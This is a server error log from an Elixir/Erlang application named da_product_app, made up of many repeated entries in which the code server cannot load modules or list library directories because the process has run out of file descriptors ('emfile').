[Sun Sep  6 00:59:42.871000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.871000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.871000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.871000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.871000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.872000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.873000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.875000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.876000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.877000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.878000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.879000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
